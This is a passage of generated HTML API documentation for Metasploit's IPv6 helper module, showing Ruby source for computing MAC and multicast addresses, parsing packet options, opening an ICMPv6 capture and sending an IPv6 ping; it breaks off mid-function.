class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>:</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_mac-instance_method">
|
||
|
||
#<strong>ipv6_mac</strong>(opts = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Shortcut method for determining our MAC address</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
53
|
||
54
|
||
55</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 53</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_mac'>ipv6_mac</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Socket</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_mac'>ipv6_mac</span><span class='lparen'>(</span><span class='id identifier rubyid_ipv6_interface'>ipv6_interface</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_neighbor_solicitation-instance_method">
|
||
|
||
#<strong>ipv6_neighbor_solicitation</strong>(neigh, smac) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Takes a neighbor and smac as arguments, The Neighbor value must be an int, while the smac must be a string. Very rudimentary and temporary.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
296
|
||
297
|
||
298
|
||
299
|
||
300
|
||
301
|
||
302
|
||
303
|
||
304
|
||
305
|
||
306
|
||
307</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 296</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_neighbor_solicitation'>ipv6_neighbor_solicitation</span><span class='lparen'>(</span><span class='id identifier rubyid_neigh'>neigh</span><span class='comma'>,</span><span class='id identifier rubyid_smac'>smac</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_target'>target</span> <span class='op'>=</span> <span class='id identifier rubyid_neigh'>neigh</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_scan'>scan</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>..</span><span class='regexp_end'>/</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_map'>map</span> <span class='lbrace'>{</span><span class='op'>|</span><span class='id identifier rubyid_x'>x</span><span class='op'>|</span> <span class='id identifier rubyid_x'>x</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span><span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>C*</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_type'>type</span> <span class='op'>=</span> <span class='int'>135</span>
|
||
<span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_checksum'>checksum</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_reserved'>reserved</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_opt_type'>opt_type</span> <span class='op'>=</span> <span class='int'>1</span>
|
||
<span class='id identifier rubyid_opt_len'>opt_len</span> <span class='op'>=</span> <span class='int'>1</span>
|
||
<span class='lbracket'>[</span><span class='id identifier rubyid_type'>type</span><span class='comma'>,</span> <span class='id identifier rubyid_code'>code</span><span class='comma'>,</span> <span class='id identifier rubyid_checksum'>checksum</span><span class='comma'>,</span> <span class='id identifier rubyid_reserved'>reserved</span><span class='comma'>,</span>
|
||
<span class='id identifier rubyid_target'>target</span><span class='comma'>,</span> <span class='id identifier rubyid_opt_type'>opt_type</span><span class='comma'>,</span> <span class='id identifier rubyid_opt_len'>opt_len</span><span class='comma'>,</span> <span class='id identifier rubyid_smac'>smac</span>
|
||
<span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>CCnNa16CCa6</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_parse_options-instance_method">
|
||
|
||
#<strong>ipv6_parse_options</strong>(data) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Simple tlv parser</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
230
|
||
231
|
||
232
|
||
233
|
||
234
|
||
235
|
||
236
|
||
237
|
||
238
|
||
239
|
||
240
|
||
241</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 230</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_parse_options'>ipv6_parse_options</span><span class='lparen'>(</span><span class='id identifier rubyid_data'>data</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_pos'>pos</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
||
<span class='kw'>while</span> <span class='id identifier rubyid_pos'>pos</span> <span class='op'><</span> <span class='id identifier rubyid_data'>data</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span>
|
||
<span class='id identifier rubyid_type'>type</span><span class='comma'>,</span> <span class='id identifier rubyid_len'>len</span> <span class='op'>=</span> <span class='id identifier rubyid_data'>data</span><span class='lbracket'>[</span><span class='id identifier rubyid_pos'>pos</span><span class='comma'>,</span><span class='int'>2</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_unpack'>unpack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>CC</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_this_opt'>this_opt</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='id identifier rubyid_type'>type</span><span class='comma'>,</span><span class='id identifier rubyid_len'>len</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_this_opt'>this_opt</span> <span class='op'><<</span> <span class='id identifier rubyid_data'>data</span><span class='lbracket'>[</span><span class='id identifier rubyid_pos'>pos</span><span class='op'>+</span><span class='int'>2</span><span class='comma'>,</span> <span class='lparen'>(</span><span class='id identifier rubyid_pos'>pos</span><span class='op'>-</span><span class='int'>2</span> <span class='op'>+</span> <span class='lparen'>(</span><span class='id identifier rubyid_len'>len</span> <span class='op'>*</span> <span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_opts'>opts</span> <span class='op'><<</span> <span class='id identifier rubyid_this_opt'>this_opt</span>
|
||
<span class='id identifier rubyid_pos'>pos</span> <span class='op'>+=</span> <span class='id identifier rubyid_this_opt'>this_opt</span><span class='period'>.</span><span class='id identifier rubyid_pack'>pack</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>CCa*</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_opts'>opts</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_soll_mcast_addr6-instance_method">
|
||
|
||
#<strong>ipv6_soll_mcast_addr6</strong>(addr) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>From Jon Hart’s Racket::L3::Misc#soll_mcast_addr6(), which is from DDniele Belluci</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
253
|
||
254
|
||
255
|
||
256
|
||
257
|
||
258
|
||
259
|
||
260
|
||
261
|
||
262
|
||
263</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 253</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_soll_mcast_addr6'>ipv6_soll_mcast_addr6</span><span class='lparen'>(</span><span class='id identifier rubyid_addr'>addr</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_h'>h</span> <span class='op'>=</span> <span class='id identifier rubyid_addr'>addr</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>:</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='op'>-</span><span class='int'>2</span><span class='comma'>,</span> <span class='int'>2</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_x'>x</span> <span class='op'>=</span> <span class='id identifier rubyid_h'>h</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_x'>x</span><span class='lbracket'>[</span><span class='int'>0</span><span class='op'>..</span><span class='int'>1</span><span class='rbracket'>]</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ff</span><span class='tstring_end'>'</span></span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'><<</span> <span class='id identifier rubyid_x'>x</span>
|
||
<span class='id identifier rubyid_x'>x</span> <span class='op'>=</span> <span class='id identifier rubyid_h'>h</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_x'>x</span><span class='period'>.</span><span class='id identifier rubyid_sub!'>sub!</span><span class='lparen'>(</span><span class='tstring'><span class='regexp_beg'>/</span><span class='tstring_content'>^0*</span><span class='regexp_end'>/</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'><<</span> <span class='id identifier rubyid_x'>x</span>
|
||
<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ff02::1:</span><span class='tstring_end'>'</span></span> <span class='op'>+</span> <span class='id identifier rubyid_m'>m</span><span class='period'>.</span><span class='id identifier rubyid_join'>join</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>:</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ipv6_soll_mcast_mac-instance_method">
|
||
|
||
#<strong>ipv6_soll_mcast_mac</strong>(addr) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>From Jon Hart’s Racket::L3::Misc#soll_mcast_mac()</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
266
|
||
267
|
||
268
|
||
269
|
||
270
|
||
271
|
||
272
|
||
273
|
||
274</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 266</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ipv6_soll_mcast_mac'>ipv6_soll_mcast_mac</span><span class='lparen'>(</span><span class='id identifier rubyid_addr'>addr</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_h'>h</span> <span class='op'>=</span> <span class='id identifier rubyid_addr'>addr</span><span class='period'>.</span><span class='id identifier rubyid_split'>split</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>:</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span><span class='lbracket'>[</span><span class='op'>-</span><span class='int'>2</span><span class='comma'>,</span> <span class='int'>2</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ff</span><span class='tstring_end'>'</span></span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='id identifier rubyid_h'>h</span><span class='lbracket'>[</span><span class='int'>0</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span> <span class='op'>&</span> <span class='int'>0xff</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='lparen'>(</span><span class='id identifier rubyid_h'>h</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span> <span class='op'>&</span> <span class='lparen'>(</span><span class='int'>0xff</span> <span class='op'><<</span> <span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span> <span class='op'>>></span> <span class='int'>8</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_m'>m</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='id identifier rubyid_h'>h</span><span class='lbracket'>[</span><span class='int'>1</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span> <span class='op'>&</span> <span class='int'>0xff</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='lparen'>(</span><span class='int'>16</span><span class='rparen'>)</span>
|
||
<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>33:33:</span><span class='tstring_end'>'</span></span> <span class='op'>+</span> <span class='id identifier rubyid_m'>m</span><span class='period'>.</span><span class='id identifier rubyid_join'>join</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>:</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="open_icmp_pcap-instance_method">
|
||
|
||
#<strong>open_icmp_pcap</strong>(opts = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Opens a pcaprub capture interface to inject packets, and sniff ICMPv6 packets</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
61
|
||
62
|
||
63
|
||
64
|
||
65
|
||
66
|
||
67
|
||
68
|
||
69</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 61</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_open_icmp_pcap'>open_icmp_pcap</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_pcaprub_loaded'>check_pcaprub_loaded</span>
|
||
|
||
<span class='id identifier rubyid_dev'>dev</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_interface'>ipv6_interface</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_len'>len</span> <span class='op'>=</span> <span class='int'>65535</span>
|
||
<span class='id identifier rubyid_tim'>tim</span> <span class='op'>=</span> <span class='int'>0</span>
|
||
<span class='ivar'>@ipv6_icmp6_capture</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'>Pcap</span><span class='period'>.</span><span class='id identifier rubyid_open_live'>open_live</span><span class='lparen'>(</span><span class='id identifier rubyid_dev'>dev</span><span class='comma'>,</span> <span class='id identifier rubyid_len'>len</span><span class='comma'>,</span> <span class='kw'>true</span><span class='comma'>,</span> <span class='id identifier rubyid_tim'>tim</span><span class='rparen'>)</span>
|
||
<span class='ivar'>@ipv6_icmp6_capture</span><span class='period'>.</span><span class='id identifier rubyid_setfilter'>setfilter</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>icmp6</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="ping6-instance_method">
|
||
|
||
#<strong>ping6</strong>(dhost, opts = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Send a ICMPv6 Echo Request, and wait for the associated ICMPv6 Echo Response</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
148
|
||
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|
||
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|
||
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|
||
152
|
||
153
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
159
|
||
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|
||
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|
||
162
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
185
|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
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|
||
213</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ipv6.rb', line 148</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_ping6'>ping6</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='comma'>,</span> <span class='id identifier rubyid_opts'>opts</span><span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_check_pcaprub_loaded'>check_pcaprub_loaded</span>
|
||
|
||
<span class='id identifier rubyid_dhost_intf'>dhost_intf</span> <span class='op'>=</span> <span class='id identifier rubyid_dhost'>dhost</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>%</span><span class='tstring_end'>'</span></span> <span class='op'>+</span> <span class='id identifier rubyid_ipv6_interface'>ipv6_interface</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_smac'>smac</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SMAC</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SMAC</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_ipv6_mac'>ipv6_mac</span>
|
||
<span class='id identifier rubyid_shost'>shost</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SHOST</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>SHOST</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Socket</span><span class='period'>.</span><span class='id identifier rubyid_source_address'>source_address</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost_intf'>dhost_intf</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_dmac'>dmac</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>DMAC</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_solicit_ipv6_mac'>solicit_ipv6_mac</span><span class='lparen'>(</span><span class='id identifier rubyid_dhost'>dhost</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_timeout'>timeout</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>TIMEOUT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>TIMEOUT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_wait'>wait</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>WAIT</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
|
||
|
||
<span class='kw'>if</span><span class='lparen'>(</span><span class='id identifier rubyid_wait'>wait</span><span class='period'>.</span><span class='id identifier rubyid_eql?'>eql?</span><span class='lparen'>(</span><span class='kw'>nil</span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_wait'>wait</span> <span class='op'>=</span> <span class='kw'>true</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='id identifier rubyid_dmac'>dmac</span><span class='period'>.</span><span class='id identifier rubyid_eql?'>eql?</span><span class='lparen'>(</span><span class='kw'>nil</span><span class='rparen'>)</span> <span class='kw'>and</span> <span class='kw'>return</span> <span class='kw'>false</span>
|
||
|
||
<span class='id identifier rubyid_open_icmp_pcap'>open_icmp_pcap</span><span class='lparen'>(</span><span class='rparen'>)</span>
|
||
|
||
<span class='comment'># Create ICMPv6 Request
|
||
</span> <span class='id identifier rubyid_p'>p</span> <span class='op'>=</span> <span class='const'>PacketFu</span><span class='op'>::</span><span class='const'>IPv6Packet</span><span class='period'>.</span><span class='id identifier rubyid_new'>new</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_eth_saddr'>eth_saddr</span> <span class='op'>=</span> <span class='id identifier rubyid_smac'>smac</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_eth_daddr'>eth_daddr</span> <span class='op'>=</span> <span class='id identifier rubyid_dmac'>dmac</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_saddr'>ipv6_saddr</span> <span class='op'>=</span> <span class='id identifier rubyid_shost'>shost</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_daddr'>ipv6_daddr</span> <span class='op'>=</span> <span class='id identifier rubyid_dhost'>dhost</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_next'>ipv6_next</span> <span class='op'>=</span> <span class='int'>0x3a</span>
|
||
<span class='id identifier rubyid_icmp_id'>icmp_id</span> <span class='op'>=</span> <span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>65000</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_icmp_seq'>icmp_seq</span> <span class='op'>=</span> <span class='int'>1</span>
|
||
<span class='id identifier rubyid_icmp_payload'>icmp_payload</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text'>rand_text</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span> <span class='op'>=</span> <span class='id identifier rubyid_ipv6_icmpv6_echo_request'>ipv6_icmpv6_echo_request</span><span class='lparen'>(</span><span class='id identifier rubyid_icmp_id'>icmp_id</span><span class='comma'>,</span><span class='id identifier rubyid_icmp_seq'>icmp_seq</span><span class='comma'>,</span><span class='id identifier rubyid_icmp_payload'>icmp_payload</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_ipv6_len'>ipv6_len</span> <span class='op'>=</span> <span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_payload'>payload</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span>
|
||
<span class='id identifier rubyid_ipv6_checksum!'>ipv6_checksum!</span><span class='lparen'>(</span><span class='id identifier rubyid_p'>p</span><span class='rparen'>)</span>
|
||
|
||
<span class='ivar'>@ipv6_icmp6_capture</span><span class='period'>.</span><span class='id identifier rubyid_inject'>inject</span><span class='lparen'>(</span><span class='id identifier rubyid_p'>p</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='rparen'>)</span>
|
||
|
||
<span class='kw'>if</span><span class='lparen'>(</span><span class='id identifier rubyid_wait'>wait</span><span class='period'>.</span><span class='id identifier rubyid_eql?'>eql?</span><span class='lparen'>(</span><span class='kw'>true</span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Waiting for ping reply...</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_print_line'>print_line</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='comment'># Wait for a response
|
||
</span> <span class='id identifier rubyid_max_epoch'>max_epoch</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'>Time</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'>+</span> <span class='id identifier rubyid_timeout'>timeout</span>
|
||
<span class='kw'>while</span><span class='lparen'>(</span><span class='op'>::</span><span class='const'>Time</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span> <span class='op'><</span> <span class='id identifier rubyid_max_epoch'>max_epoch</span><span class='rparen'>)</span>
|
||
